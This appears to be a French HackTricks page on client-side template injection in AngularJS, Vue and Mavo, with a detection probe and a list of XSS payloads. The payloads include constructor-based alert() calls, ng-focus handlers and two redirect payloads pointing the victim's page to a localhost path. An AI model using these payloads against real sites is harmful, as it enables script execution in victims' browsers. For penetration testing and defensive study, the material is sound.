Injection de Modèle Côté Client (CSTI)
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Résumé
C'est comme une Injection de Modèle Côté Serveur mais dans le client. Le SSTI peut vous permettre d'exécuter du code sur le serveur distant, le CSTI pourrait vous permettre d'exécuter du JavaScript arbitraire dans le navigateur de la victime.
Tester cette vulnérabilité est très similaire au cas de SSTI, l'interpréteur s'attend à un modèle et l'exécutera. Par exemple, avec un payload comme {{ 7-7 }}
, si l'application est vulnérable, vous verrez un 0
, et sinon, vous verrez l'original : {{ 7-7 }}
AngularJS
AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML à travers des attributs connus sous le nom de directives, l'une des plus notables étant ng-app
. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.
Dans des scénarios où l'entrée utilisateur est insérée dynamiquement dans le corps HTML étiqueté avec ng-app
, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en tirant parti de la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment du code JavaScript peut être exécuté :
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Vous pouvez trouver un exemple en ligne très basique de la vulnérabilité dans AngularJS à http://jsfiddle.net/2zs2yv7o/ et dans Burp Suite Academy
[!CAUTION] > Angular 1.6 a supprimé le sandbox donc à partir de cette version, un payload comme
{{constructor.constructor('alert(1)')()}}
ou<input ng-focus=$event.view.alert('XSS')>
devrait fonctionner.
VueJS
Vous pouvez trouver une implémentation vulnérable de Vue à https://vue-client-side-template-injection-example.azu.now.sh/
Payload fonctionnel : https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
Et le code source de l'exemple vulnérable ici : https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Un très bon article sur CSTI dans VUE peut être trouvé à https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Crédit : Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Crédit : Mario Heiderich
Vérifiez plus de charges utiles VUE dans https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Charge utile :
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Plus de payloads dans https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Liste de détection par force brute
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.